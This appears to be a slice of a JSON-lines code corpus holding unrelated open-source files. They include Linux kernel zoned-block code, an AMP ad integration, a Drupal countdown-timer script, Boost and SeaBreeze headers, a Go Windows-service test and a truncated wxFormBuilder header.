BLK_ZONE_TYPE_SEQWRITE_PREF:\n\t\tif (!args->seq_zones_wlock) {\n\t\t\targs->seq_zones_wlock =\n\t\t\t\tblk_alloc_zone_bitmap(q->node, args->nr_zones);\n\t\t\tif (!args->seq_zones_wlock)\n\t\t\t\treturn -ENOMEM;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\tpr_warn(\"%s: Invalid zone type 0x%x at sectors %llu\\n\",\n\t\t\tdisk->disk_name, (int)zone->type, zone->start);\n\t\treturn -ENODEV;\n\t}\n\n\targs->sector += zone->len;\n\treturn 0;\n}\n\n/**\n * blk_revalidate_disk_zones - (re)allocate and initialize zone bitmaps\n * @disk:\tTarget disk\n * @update_driver_data:\tCallback to update driver data on the frozen disk\n *\n * Helper function for low-level device drivers to (re) allocate and initialize\n * a disk request queue zone bitmaps. This functions should normally be called\n * within the disk ->revalidate method for blk-mq based drivers. For BIO based\n * drivers only q->nr_zones needs to be updated so that the sysfs exposed value\n * is correct.\n * If the @update_driver_data callback function is not NULL, the callback is\n * executed with the device request queue frozen after all zones have been\n * checked.\n */\nint blk_revalidate_disk_zones(struct gendisk *disk,\n\t\t\t void (*update_driver_data)(struct gendisk *disk))\n{\n\tstruct request_queue *q = disk->queue;\n\tstruct blk_revalidate_zone_args args = {\n\t\t.disk\t\t= disk,\n\t};\n\tunsigned int noio_flag;\n\tint ret;\n\n\tif (WARN_ON_ONCE(!blk_queue_is_zoned(q)))\n\t\treturn -EIO;\n\tif (WARN_ON_ONCE(!queue_is_mq(q)))\n\t\treturn -EIO;\n\n\t/*\n\t * Ensure that all memory allocations in this context are done as if\n\t * GFP_NOIO was specified.\n\t */\n\tnoio_flag = memalloc_noio_save();\n\tret = disk->fops->report_zones(disk, 0, UINT_MAX,\n\t\t\t\t blk_revalidate_zone_cb, &args);\n\tmemalloc_noio_restore(noio_flag);\n\n\t/*\n\t * Install the new bitmaps and update nr_zones only once the queue is\n\t * stopped and all I/Os are completed (i.e. a scheduler is not\n\t * referencing the bitmaps).\n\t */\n\tblk_mq_freeze_queue(q);\n\tif (ret >= 0) {\n\t\tblk_queue_chunk_sectors(q, args.zone_sectors);\n\t\tq->nr_zones = args.nr_zones;\n\t\tswap(q->seq_zones_wlock, args.seq_zones_wlock);\n\t\tswap(q->conv_zones_bitmap, args.conv_zones_bitmap);\n\t\tif (update_driver_data)\n\t\t\tupdate_driver_data(disk);\n\t\tret = 0;\n\t} else {\n\t\tpr_warn(\"%s: failed to revalidate zones\\n\", disk->disk_name);\n\t\tblk_queue_free_zone_bitmaps(q);\n\t}\n\tblk_mq_unfreeze_queue(q);\n\n\tkfree(args.seq_zones_wlock);\n\tkfree(args.conv_zones_bitmap);\n\treturn ret;\n}\nEXPORT_SYMBOL_GPL(blk_revalidate_disk_zones);\n"} {"text": "/**\n * Copyright 2016 The AMP HTML Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS-IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nimport {loadScript, validateData} from '../3p/3p';\nimport {parseUrlDeprecated} from '../src/url';\n\n/* global\n__kxamp: false,\n__kx_ad_slots: false,\n__kx_ad_start: false,\n__kx_viewability: false,\n*/\n\n/**\n * @param {!Window} global\n * @param {!Object} data\n */\nexport function kixer(global, data) {\n /*eslint \"google-camelcase/google-camelcase\": 0*/\n\n validateData(data, ['adslot'], []);\n\n let inView = false;\n let viewed = false;\n let viewTimer = null;\n\n const d = global.document.createElement('div');\n d.id = '__kx_ad_' + data.adslot;\n global.document.getElementById('c').appendChild(d);\n\n const kxload = function () {\n d.removeEventListener('load', kxload, false);\n if (d.childNodes.length > 0) {\n global.context.renderStart();\n } else {\n global.context.noContentAvailable();\n }\n };\n d.addEventListener('load', kxload, false); // Listen for the kixer load event\n\n const kxviewCheck = function (intersectionEntry) {\n inView = intersectionEntry.intersectionRatio > 0.5; // Half of the unit is in the viewport\n if (inView) {\n if (!viewed && viewTimer == null) {\n // If the ad hasn't been viewed and the timer is not set\n viewTimer = setTimeout(kxviewFire, 900); // Set a Timeout to check the ad in 900ms and fire the view\n }\n } else {\n if (viewTimer) {\n // If the Timeout is set\n clearTimeout(viewTimer); // Clear the Timeout\n viewTimer = null;\n }\n }\n };\n\n const kxviewFire = function () {\n if (inView) {\n // if the ad is still in the viewport\n if (typeof __kx_viewability.process_locked === 'function') {\n viewed = true;\n __kx_viewability.process_locked(data.adslot); // Fire kixer view\n }\n }\n };\n\n global.context.observeIntersection(function (changes) {\n /** @type {!Array} */ (changes).forEach(function (c) {\n kxviewCheck(c);\n });\n });\n\n loadScript(global, 'https://cdn.kixer.com/ad/load.js', () => {\n global.__kx_domain = parseUrlDeprecated(global.context.sourceUrl).hostname; // Get domain\n __kxamp[data.adslot] = 1;\n __kx_ad_slots.push(data.adslot);\n __kx_ad_start();\n });\n}\n"} {"text": "\n // $Id: countdowntimer.module,v 1.8.2.22.2.4.2.30 2009/06/22 17:07:23 jvandervort Exp $\n Drupal.behaviors.countdowntimer = function (context) {\n $(document).ready(countdown_auto_attach);\n }\n //countdowntimer namespace\n Drupal.countdowntimer = {};\n Drupal.countdowntimer.formats = ['<em>(%dow% %moy%%day%)</em><br/>%days% days + %hours%:%mins%:%secs%','Only %days% days, %hours% hours, %mins% minutes and %secs% seconds left', '%days% shopping days left', '<em>(%dow% %moy%%day%)</em><br/>%days% days + %hours%:%mins%:%secs%'];\n\n Drupal.countdowntimer.jstimer = function(timer_element) {\n /* defaults */\n var d = {dir:\"down\",format_num:0, format_txt:\"\", timer_complete:new String('<em>Timer Completed</em>'), highlight:new String('style=\"color:red\"').split(/=/), threshold:new Number('5')};\n /* jstimer.properties */\n this.element = timer_element;\n this.d = d;\n /* jstimer.methods */\n this.parse_microformat = Drupal.countdowntimer.parse_microformat;\n this.update = Drupal.countdowntimer.update_timer;\n\n /* bootstrap, parse microformat, load object */\n try {\n this.parse_microformat();\n }\n catch(e) {\n alert(e.message);\n alert($(timer_element).html());\n this.parse_microformat_success = 0;\n return;\n }\n\n if ( d.format_txt != \"\" ) {\n this.outformat = d.format_txt;\n } else {\n this.outformat = Drupal.countdowntimer.formats[d.format_num];\n }\n\n // replace the static stuff in the format string\n // this only needs to be done once, so here is a good spot.\n this.outformat = this.outformat.replace(/%day%/, this.to_date.getDate());\n this.outformat = this.outformat.replace(/%month%/, this.to_date.getMonth() + 1);\n this.outformat = this.outformat.replace(/%year%/, this.to_date.getFullYear());\n this.outformat = this.outformat.replace(/%moy%/, this.to_date.countdowntimer_get_moy());\n this.outformat = this.outformat.replace(/%dow%/, this.to_date.countdowntimer_get_dow());\n }\n\n Drupal.countdowntimer.parse_microformat = function() {\n\n var timer_span = $(this.element);\n if ( timer_span.hasClass(\"countdowntimer\") ) {\n timer_span.removeClass(\"countdowntimer\")\n }\n\n var cdt_class = timer_span.children(\"span[class=cdt_class]\").html();\n if ( cdt_class == 'simple-timer' ) {\n this.d.cdt_class = cdt_class;\n var interval = timer_span.children(\"span[class=cdt_interval]\").html();\n var date = new Date();\n this.to_date = date;\n this.to_date.setTime(date.getTime() + (interval*1000));\n } else {\n this.d.cdt_class = 'date-timer';\n var strdate = timer_span.children(\"span[class=datetime]\").html();\n var str_current_server_time = timer_span.children(\"span[class=current_server_time]\").html();\n if ( String(strdate) == 'null' ) {\n this.parse_microformat_success = 0;\n throw new Object({name:\"NoDate\",message:\"CountdownTimer: Span with class=datetime not found within the timer span.\"});\n }\n var date = new Date();\n try {\n date.countdowntimer_set_iso8601_date(strdate);\n }\n catch(e) {\n throw(e);\n }\n this.to_date = date;\n if ( String(str_current_server_time) != 'null' ) {\n // this is a feedback time from the server to correct for small server-client time differences.\n // not used for normal block and node timers.\n var date_server = new Date();\n date_server.countdowntimer_set_iso8601_date(str_current_server_time);\n var date_client = new Date();\n var adj = date_client.getTime() - date_server.getTime();\n // adjust target date to clients domain\n this.to_date.setTime(this.to_date.getTime() + adj);\n }\n }\n\n // common attributes\n this.d.dir = timer_span.children(\"span[class=dir]\").html() || this.d.dir;\n this.d.format_num = timer_span.children(\"span[class=format_num]\").html() || this.d.format_num;\n this.d.format_txt = timer_span.children(\"span[class=format_txt]\").html() || \"\";\n if ( String(this.d.format_txt).match(\"'\") ) {\n this.d.format_txt = \"<span style=\\\"color:red;\\\">Format may not contain single quotes(').</span>\";\n }\n this.d.threshold = timer_span.children(\"span[class=threshold]\").html() || this.d.threshold;\n this.d.timer_complete = timer_span.children(\"span[class=complete]\").html() || this.d.timer_complete;\n this.d.tc_redir = timer_span.children(\"span[class=tc_redir]\").html() || '';\n this.d.tc_msg = timer_span.children(\"span[class=tc_msg]\").html() || '';\n\n this.parse_microformat_success = 1;\n }\n\n // update_timer: returns false if the timer is done.\n Drupal.countdowntimer.update_timer = function() {\n var timer_span = $(this.element);\n var now_date = new Date();\n var diff_secs;\n if ( this.d.dir == \"down\" ) {\n diff_secs = Math.floor((this.to_date.getTime() - now_date.getTime()) / 1000);\n } else {\n diff_secs = Math.floor((now_date.getTime() - this.to_date.getTime()) / 1000);\n }\n\n if ( this.d.dir == \"down\" && diff_secs < 0 ) {\n /* timer complete */\n timer_span.html(this.d.timer_complete.valueOf());\n\n if ( this.d.tc_msg != '' && diff_secs > -3 ) {\n alert(this.d.tc_msg);\n if ( this.d.tc_redir != '' ) {\n window.location = this.d.tc_redir;\n }\n } else if ( this.d.tc_redir != '' && diff_secs > -3) {\n window.location = this.d.tc_redir;\n }\n\n return false;\n } else {\n /* timer still counting */\n var years = Math.floor(diff_secs / 60 / 60 / 24 / 365.25);\n var days = Math.floor(diff_secs / 60 / 60 / 24);\n var ydays = Math.ceil(days - (years * 365.25));\n var hours = Math.floor(diff_secs / 60 / 60) - (days * 24);\n var minutes = Math.floor(diff_secs / 60) - (hours * 60) - (days * 24 * 60);\n var seconds = diff_secs - (minutes * 60) - (hours * 60 * 60) - (days * 24 * 60 * 60);\n\n var outhtml = new String(this.outformat);\n\n //handle all counts with units first\n var year_str = Drupal.formatPlural(years, \"1 year\", \"@count years\");\n outhtml = outhtml.replace(/%years% years/, year_str);\n var ydays_str = Drupal.formatPlural(ydays, \"1 day\", \"@count days\");\n outhtml = outhtml.replace(/%ydays% days/, ydays_str);\n var days_str = Drupal.formatPlural(days, \"1 day\", \"@count days\");\n outhtml = outhtml.replace(/%days% days/, days_str);\n var hours_str = Drupal.formatPlural(hours, \"1 hour\", \"@count hours\");\n outhtml = outhtml.replace(/%hours% hours/, hours_str);\n var mins_str = Drupal.formatPlural(minutes, \"1 minute\", \"@count minutes\");\n outhtml = outhtml.replace(/%mins% minutes/, mins_str);\n var secs_str = Drupal.formatPlural(seconds, \"1 second\", \"@count seconds\");\n outhtml = outhtml.replace(/%secs% seconds/, secs_str);\n\n //handle counts without units\n outhtml = outhtml.replace(/%years%/, years);\n outhtml = outhtml.replace(/%ydays%/, ydays);\n outhtml = outhtml.replace(/%days%/, days);\n outhtml = outhtml.replace(/%hours%/, LZ(hours));\n outhtml = outhtml.replace(/%mins%/, LZ(minutes));\n outhtml = outhtml.replace(/%secs%/, LZ(seconds));\n outhtml = outhtml.replace(/%hours_nopad%/, hours);\n outhtml = outhtml.replace(/%mins_nopad%/, minutes);\n outhtml = outhtml.replace(/%secs_nopad%/, seconds);\n\n if ( this.d.dir == \"down\" && (diff_secs <= (this.d.threshold * 60)) ) {\n timer_span.html('<span ' + this.d.highlight[0] + '=' + this.d.highlight[1] + '>' + outhtml + '</span>');\n } else {\n timer_span.html(outhtml);\n }\n\n return true;\n }\n }\n\n // clock functions\n Drupal.countdowntimer.js_clock = function(_element) {\n this.element = _element;\n this.update = Drupal.countdowntimer.update_clock;\n }\n Drupal.countdowntimer.update_clock = function() {\n var timenow = new Date();\n var h = timenow.getHours();\n var m = timenow.getMinutes();\n var s = timenow.getSeconds();\n if ( '0' == '0' ) {\n var am_pm = \"\"\n if ( h <= 12 ) {\n am_pm = \"am\";\n } else {\n am_pm = \"pm\";\n h = h - 12;\n }\n $(this.element).html(h + \":\" + LZ(m) + \":\" + LZ(s) + am_pm);\n } else if ( '0' == '1' ) {\n $(this.element).html(h + \":\" + LZ(m) + \":\" + LZ(s));\n }\n return true;\n }\n\n\n // bootstrap and timing functions\n Drupal.countdowntimer.running = 0;\n Drupal.countdowntimer.timer_stack = new Array();\n\n function countdown_auto_attach() {\n $(\".countdowntimer\").each(\n function(i) { // i is the position in the each fieldset\n var t = new Drupal.countdowntimer.jstimer(this,1);\n if ( t.parse_microformat_success == 1 ) {\n Drupal.countdowntimer.timer_stack[Drupal.countdowntimer.timer_stack.length] = t;\n }\n if ( Drupal.countdowntimer.running == 0 ) {\n Drupal.countdowntimer.running = 1;\n timer_loop();\n }\n }\n );\n $(\".js-clock\").each(\n function(i) {\n var t = new Drupal.countdowntimer.js_clock(this,1);\n Drupal.countdowntimer.timer_stack[Drupal.countdowntimer.timer_stack.length] = t;\n if ( Drupal.countdowntimer.running == 0 ) {\n Drupal.countdowntimer.running = 1;\n timer_loop();\n }\n }\n );\n }\n function timer_loop() {\n for (var i = Drupal.countdowntimer.timer_stack.length - 1; i >= 0; i--) {\n if ( Drupal.countdowntimer.timer_stack[i].update() == false ) {\n Drupal.countdowntimer.timer_stack.splice(i, 1);\n }\n }\n setTimeout('timer_loop()',999);\n }\n function LZ(x) {\n return (x >= 10 || x < 0 ? \"\" : \"0\") + x;\n }\n\n Date.prototype.countdowntimer_set_iso8601_date = function (string) {\n var iso8601_re = /^(?:(\\d{4})(?:-(\\d{2})(?:-(\\d{2}))?)?)?(?:T(\\d{2}):(\\d{2})(?::(\\d{2})(.\\d+)?)?((?:[+-](\\d{2}):(\\d{2}))|Z)?)?$/;\n var date_bits = iso8601_re.exec(string);\n var date_obj = null;\n if ( date_bits ) {\n date_bits.shift();\n date_bits[1] && date_bits[1]--; // normalize month\n date_bits[6] && (date_bits[6] *= 1000); // convert mils\n date_obj = new Date(date_bits[0]||1970, date_bits[1]||0, date_bits[2]||0, date_bits[3]||0, date_bits[4]||0, date_bits[5]||0, date_bits[6]||0);\n\n //timezone handling\n var zone_offset = 0; // in minutes\n var zone_plus_minus = date_bits[7] && date_bits[7].charAt(0);\n // get offset from isostring time to Z time\n if ( zone_plus_minus != 'Z' ) {\n zone_offset = ((date_bits[8] || 0) * 60) + (Number(date_bits[9]) || 0);\n if ( zone_plus_minus != '-' ) {\n zone_offset *= -1;\n }\n }\n // convert offset to localtime offset, will include daylight savings\n if ( zone_plus_minus ) {\n zone_offset -= date_obj.getTimezoneOffset();\n }\n if ( zone_offset ) {\n date_obj.setTime(date_obj.getTime() + zone_offset * 60000);\n }\n }\n\n // set this object to current localtime representation\n try {\n this.setTime(date_obj.getTime());\n }\n catch(e) {\n throw new Object({name:\"DatePatternFail\",message:\"CountdownTimer: Date does not have proper format (ISO8601, see readme.txt).\"});\n }\n }\n Date.prototype.countdowntimer_get_moy = function () {\n var myMonths=new Array(\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\");\n return myMonths[this.getMonth()];\n }\n Date.prototype.countdowntimer_get_dow = function () {\n var myDays=[\"Sun\",\"Mon\",\"Tue\",\"Wed\",\"Thu\",\"Fri\",\"Sat\",\"Sun\"];\n return myDays[this.getDay()];\n }\n\n"} {"text": "<?php\n/**\n * Copyright (c) UNA, Inc - https://una.io\n * MIT License - https://opensource.org/licenses/MIT\n */\n\n$aConfig = array(\n /**\n * Main Section.\n */\n 'title' => 'Groups',\n 'version_from' => '9.0.4',\n\t'version_to' => '9.0.5',\n 'vendor' => 'BoonEx',\n\n 'compatible_with' => array(\n '9.0.0-RC2'\n ),\n\n /**\n * 'home_dir' and 'home_uri' - should be unique. Don't use spaces in 'home_uri' and the other special chars.\n */\n 'home_dir' => 'boonex/groups/updates/update_9.0.4_9.0.5/',\n\t'home_uri' => 'groups_update_904_905',\n\n\t'module_dir' => 'boonex/groups/',\n\t'module_uri' => 'groups',\n\n 'db_prefix' => 'bx_groups_',\n 'class_prefix' => 'BxGroups',\n\n /**\n * Installation/Uninstallation Section.\n */\n 'install' => array(\n\t\t'execute_sql' => 1,\n 'update_files' => 1,\n 'update_languages' => 1,\n\t\t'clear_db_cache' => 1,\n ),\n\n\t/**\n * Category for language keys.\n */\n 'language_category' => 'Groups',\n\n\t/**\n * Files Section\n */\n 'delete_files' => array(),\n);\n"} {"text": "'use strict';\n\nvar path = require('path');\nvar readFile = require('./readFile');\nvar parseJson = require('./parseJson');\n\nmodule.exports = function (packageDir, options) {\n var packagePath = path.join(packageDir, 'package.json');\n\n return readFile(packagePath).then(function (content) {\n if (!content) return null;\n var parsedContent = parseJson(content, packagePath);\n var packagePropValue = parsedContent[options.packageProp];\n if (!packagePropValue) return null;\n\n return {\n config: packagePropValue,\n filepath: packagePath,\n };\n });\n};\n"} {"text": "\n# isarray\n\n`Array#isArray` for older browsers.\n\n## Usage\n\n```js\nvar isArray = require('isarray');\n\nconsole.log(isArray([])); // => true\nconsole.log(isArray({})); // => false\n```\n\n## Installation\n\nWith [npm](http://npmjs.org) do\n\n```bash\n$ npm install isarray\n```\n\nThen bundle for the browser with\n[browserify](https://github.com/substack/browserify).\n\nWith [component](http://component.io) do\n\n```bash\n$ component install juliangruber/isarray\n```\n\n## License\n\n(MIT)\n\nCopyright (c) 2013 Julian Gruber &lt;julian@juliangruber.com&gt;\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and/or sell copies\nof the Software, and to permit persons to whom the Software is furnished to do\nso, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"} {"text": "/***************************************************//**\n * @file OBPGetOpticalBenchIDExchange.h\n * @date January 2015\n * @author Ocean Optics, Inc., Kirk Clendinning, Heliospectra \n *\n * LICENSE:\n *\n * SeaBreeze Copyright (C) 2015, Ocean Optics Inc\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject\n * to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *******************************************************/\n\n#ifndef OBPGETOPTICALBENCHIDEXCHANGE_H\n#define OBPGETOPTICALBENCHIDEXCHANGE_H\n\n#include \"vendors/OceanOptics/protocols/obp/exchanges/OBPQuery.h\"\n\nnamespace seabreeze {\n namespace oceanBinaryProtocol {\n class OBPGetOpticalBenchIDExchange : public OBPQuery {\n public:\n OBPGetOpticalBenchIDExchange();\n virtual ~OBPGetOpticalBenchIDExchange();\n };\n }\n}\n\n#endif /* OBPGETOPTICALBENCHIDEXCHANGE_H */\n"} {"text": "/* boost random/detail/uniform_int_float.hpp header file\n *\n * Copyright Jens Maurer 2000-2001\n * Copyright Steven Watanabe 2011\n * Distributed under the Boost Software License, Version 1.0. (See\n * accompanying file LICENSE_1_0.txt or copy at\n * http://www.boost.org/LICENSE_1_0.txt)\n *\n * See http://www.boost.org for most recent version including documentation.\n *\n * $Id$\n *\n */\n\n#ifndef BOOST_RANDOM_DETAIL_UNIFORM_INT_FLOAT_HPP\n#define BOOST_RANDOM_DETAIL_UNIFORM_INT_FLOAT_HPP\n\n#include <boost/limits.hpp>\n#include <boost/config.hpp>\n#include <boost/integer.hpp>\n#include <boost/random/detail/config.hpp>\n#include <boost/random/detail/generator_bits.hpp>\n\n#include <boost/random/detail/disable_warnings.hpp>\n\nnamespace boost {\nnamespace random {\nnamespace detail {\n\ntemplate<class URNG>\nclass uniform_int_float\n{\npublic:\n typedef URNG base_type;\n typedef typename base_type::result_type base_result;\n\n typedef typename boost::uint_t<\n (std::numeric_limits<boost::uintmax_t>::digits <\n std::numeric_limits<base_result>::digits)?\n std::numeric_limits<boost::uintmax_t>::digits :\n std::numeric_limits<base_result>::digits\n >::fast result_type;\n\n uniform_int_float(base_type& rng)\n : _rng(rng) {}\n\n static result_type min BOOST_PREVENT_MACRO_SUBSTITUTION ()\n { return 0; }\n static result_type max BOOST_PREVENT_MACRO_SUBSTITUTION ()\n {\n std::size_t digits = std::numeric_limits<result_type>::digits;\n if(detail::generator_bits<URNG>::value() < digits) {\n digits = detail::generator_bits<URNG>::value();\n }\n return (result_type(2) << (digits - 1)) - 1;\n }\n base_type& base() { return _rng; }\n const base_type& base() const { return _rng; }\n\n result_type operator()()\n {\n base_result range = static_cast<base_result>((max)())+1;\n return static_cast<result_type>(_rng() * range);\n }\n\nprivate:\n base_type& _rng;\n};\n\n} // namespace detail\n} // namespace random\n} // namespace boost\n\n#include <boost/random/detail/enable_warnings.hpp>\n\n#endif // BOOST_RANDOM_DETAIL_UNIFORM_INT_FLOAT_HPP\n"} {"text": "// Copyright 2012 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build windows\n\npackage svc_test\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"math/rand\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"golang.org/x/sys/windows/svc\"\n\t\"golang.org/x/sys/windows/svc/mgr\"\n)\n\nfunc getState(t *testing.T, s *mgr.Service) svc.State {\n\tstatus, err := s.Query()\n\tif err != nil {\n\t\tt.Fatalf(\"Query(%s) failed: %s\", s.Name, err)\n\t}\n\treturn status.State\n}\n\nfunc testState(t *testing.T, s *mgr.Service, want svc.State) {\n\thave := getState(t, s)\n\tif have != want {\n\t\tt.Fatalf(\"%s state is=%d want=%d\", s.Name, have, want)\n\t}\n}\n\nfunc waitState(t *testing.T, s *mgr.Service, want svc.State) {\n\tfor i := 0; ; i++ {\n\t\thave := getState(t, s)\n\t\tif have == want {\n\t\t\treturn\n\t\t}\n\t\tif i > 10 {\n\t\t\tt.Fatalf(\"%s state is=%d, waiting timeout\", s.Name, have)\n\t\t}\n\t\ttime.Sleep(300 * time.Millisecond)\n\t}\n}\n\nfunc TestExample(t *testing.T) {\n\tif testing.Short() {\n\t\tt.Skip(\"skipping test in short mode - it modifies system services\")\n\t}\n\n\tconst name = \"myservice\"\n\n\tm, err := mgr.Connect()\n\tif err != nil {\n\t\tt.Fatalf(\"SCM connection failed: %s\", err)\n\t}\n\tdefer m.Disconnect()\n\n\tdir, err := ioutil.TempDir(\"\", \"svc\")\n\tif err != nil {\n\t\tt.Fatalf(\"failed to create temp directory: %v\", err)\n\t}\n\tdefer os.RemoveAll(dir)\n\n\texepath := filepath.Join(dir, \"a.exe\")\n\to, err := exec.Command(\"go\", \"build\", \"-o\", exepath, \"golang.org/x/sys/windows/svc/example\").CombinedOutput()\n\tif err != nil {\n\t\tt.Fatalf(\"failed to build service program: %v\\n%v\", err, string(o))\n\t}\n\n\ts, err := m.OpenService(name)\n\tif err == nil {\n\t\terr = s.Delete()\n\t\tif err != nil {\n\t\t\ts.Close()\n\t\t\tt.Fatalf(\"Delete failed: %s\", err)\n\t\t}\n\t\ts.Close()\n\t}\n\ts, err = m.CreateService(name, exepath, mgr.Config{DisplayName: \"my service\"}, \"is\", \"auto-started\")\n\tif err != nil {\n\t\tt.Fatalf(\"CreateService(%s) failed: %v\", name, err)\n\t}\n\tdefer s.Close()\n\n\targs := []string{\"is\", \"manual-started\", fmt.Sprintf(\"%d\", rand.Int())}\n\n\ttestState(t, s, svc.Stopped)\n\terr = s.Start(args...)\n\tif err != nil {\n\t\tt.Fatalf(\"Start(%s) failed: %s\", s.Name, err)\n\t}\n\twaitState(t, s, svc.Running)\n\ttime.Sleep(1 * time.Second)\n\n\t// testing deadlock from issues 4.\n\t_, err = s.Control(svc.Interrogate)\n\tif err != nil {\n\t\tt.Fatalf(\"Control(%s) failed: %s\", s.Name, err)\n\t}\n\t_, err = s.Control(svc.Interrogate)\n\tif err != nil {\n\t\tt.Fatalf(\"Control(%s) failed: %s\", s.Name, err)\n\t}\n\ttime.Sleep(1 * time.Second)\n\n\t_, err = s.Control(svc.Stop)\n\tif err != nil {\n\t\tt.Fatalf(\"Control(%s) failed: %s\", s.Name, err)\n\t}\n\twaitState(t, s, svc.Stopped)\n\n\terr = s.Delete()\n\tif err != nil {\n\t\tt.Fatalf(\"Delete failed: %s\", err)\n\t}\n\n\tout, err := exec.Command(\"wevtutil.exe\", \"qe\", \"Application\", \"/q:*[System[Provider[@Name='myservice']]]\", \"/rd:true\", \"/c:10\").CombinedOutput()\n\tif err != nil {\n\t\tt.Fatalf(\"wevtutil failed: %v\\n%v\", err, string(out))\n\t}\n\tif want := strings.Join(append([]string{name}, args...), \"-\"); !strings.Contains(string(out), want) {\n\t\tt.Errorf(\"%q string does not contain %q\", string(out), want)\n\t}\n}\n"} {"text": "///////////////////////////////////////////////////////////////////////////\n// C++ code generated with wxFormBuilder (version Oct 26 2018)\n// http://www.wxformbuilder.org/\n//\n// PLEASE DO *NOT* EDIT THIS FILE!\n///////////////////////////////////////////////////////////////////////////\n\n#pragma once\n\n#include <wx/artprov.h>\n#include <wx/xrc/xmlres.h>\n#include <wx/string.h>\n#include <wx/bitmap.h>\n#include <wx/image.h>\n#include <wx/icon.h>\n#include <wx/menu.h>\n#include <wx/gdicmn.h>\n#include <wx/font.h>\n#include <wx/colour.h>\n#include <wx/settings.h>\n#include <wx/radiobut.h>\n#include <wx/sizer.h>\n#include <wx/statbox.h>\n#include <wx/panel.h>\n#include <wx/combobox.h>\n#include <wx/button.h>\n#include <wx/choice.h>\n#include <wx/stattext.h>\n#include <wx/checkbox.h>\n#include <wx/tglbtn.h>\n#include <wx/textctrl.h>\n#include <wx/frame.h>\n\n///////////////////////////////////////////////////////////////////////////\n\n#define rx_channel_pnl 1000\n\n///////////////////////////////////////////////////////////////////////////////\n/// Class limeRFE_view\n///////////////////////////////////////////////////////////////////////////////\nclass limeRFE_view : public wxFrame\n{\n\tprivate:\n\n\tprotected:\n\t\twxMenuBar* mbar;\n\t\twxMenu* mFile;\n\t\twxMenu* m_menu7;\n\t\twxPanel* pnlMain;\n\t\twxPanel* m_panel15;\n\t\twxRadioButton* rbI2C;\n\t\twxRadioButton* rbUSB;\n\t\twxPanel* m_panel161;\n\t\twxComboBox* cmbbPorts;\n\t\twxButton* btnRefreshPorts;\n\t\twxButton* btnOpenPort;\n\t\twxButton* btnClosePort;\n\t\twxPanel* m_panel172;\n\t\twxButton* btnOpen;\n\t\twxButton* btnSave;\n\t\twxButton* btnReset;\n\t\twxButton* btnBoard2GUI;\n\t\twxPanel* pnlConfiguration;\n\t\twxPanel* m_panel17;\n\t\twxChoice* cTypeRX;\n\t\twxChoice* cChannelRX;\n\t\twxStaticText* m_staticText261;\n\t\twxChoice* cPortRX;\n\t\twxStaticText* m_staticText9;\n\t\twxChoice* cAttenuation;\n\t\twxCheckBox* cbNotch;\n\t\twxPanel* m_panel171;\n\t\twxCheckBox* cbTXasRX;\n\t\twxChoice* cTypeTX;\n\t\twxChoice* cChannelTX;\n\t\twxStaticText* m_staticText26;\n\t\twxChoice* cPortTX;\n\t\twxPanel* pnlSWR;\n\t\twxCheckBox* cbEnableSWR;\n\t\twxRadioButton* rbSWRext;\n\t\twxRadioButton* rbSWRcell;\n\t\twxPanel* pnlTXRX;\n\t\twxToggleButton* tbtnTXRX;\n\t\twxPanel* pnlTXRXEN;\n\t\twxToggleButton* tbtnRX;\n\t\twxToggleButton* tbtnTX;\n\t\twxButton* btnConfigure;\n\t\twxPanel* pnlTXRXMode;\n\t\twxStaticText* txtTXRX;\n\t\twxPanel* pnlTXRXModeEN;\n\t\twxStaticText* txtTXRXEN;\n\t\twxPanel* pnlPowerMeter;\n\t\twxPanel* m_panel16;\n\t\twxButton* btnReadADC;\n\t\twxButton* btnCalibrate;\n\t\twxPanel* pnlADC1;\n\t\twxStaticText* 